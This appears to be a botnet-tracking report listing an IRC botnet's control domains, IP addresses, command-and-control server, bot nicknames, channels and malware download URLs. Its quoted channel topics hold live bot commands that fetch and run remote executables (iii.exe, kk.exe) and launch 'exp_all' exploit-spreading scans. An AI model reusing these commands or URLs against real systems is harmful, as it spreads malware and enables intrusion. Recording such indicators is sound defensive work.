Domains used to control bots:
www.facebookvideocentral.com 46.45.164.166
www.merkurvideo.com 46.45.164.166
www.pr0.net 74.206.242.164
C&C Server: 46.45.164.166:81
Server Password:
Username: SP3-431
Nickname: [00_DEU_XP_6037696]
Channel: #i (Password: )
Channeltopic: :.asc -S -s |.http http://46.45.164.165/iii.exe |.asc exp_all 15 5 0 -c -e |.asc exp_all 15 5 0 -b -r -e |.asc exp_all 15 5 0 -c |.asc exp_all 10 5 0 -a -r -e |.asc exp_all 10 5 0 -c -e
UPDATE:
www.facebookvideocentral.com 46.45.164.166
www.merkurvideo.com 46.45.164.166
www.pr0.net
www.pr0.net 74.206.242.164
Download URLs
http://74.206.242.164/deny2/azenv.php (www.pr0.net)
http://74.206.242.164/deny2/azenv.php (www.pr0.net)
http://74.206.242.164/deny2/azenv.php (www.pr0.net)
http://74.206.242.164/deny2/azenv.php (www.pr0.net)
C&C Server: 46.45.164.166:81
Server Password:
Username: SP3-978
Nickname: [N00_DEU_XP_1776942]Ð_CHAR(0x05)_A
Channel: (Password: )
Channeltopic:
C&C Server: 46.45.164.166:81
Server Password:
Username: SP3-361
Nickname: [00_DEU_XP_6980600]
Channel: #k (Password: )
Channeltopic: :.asc -S -s |.http http://46.45.164.165/kk.exe |.asc exp_all 15 5 0 -c -e |.asc exp_all 15 5 0 -b -r -e |.asc exp_all 15 5 0 -c |.asc exp_all 10 5 0 -a -r -e |.asc exp_all 10 5 0 -c -e
hosting infos:
http://whois.domaintools.com/46.45.164.164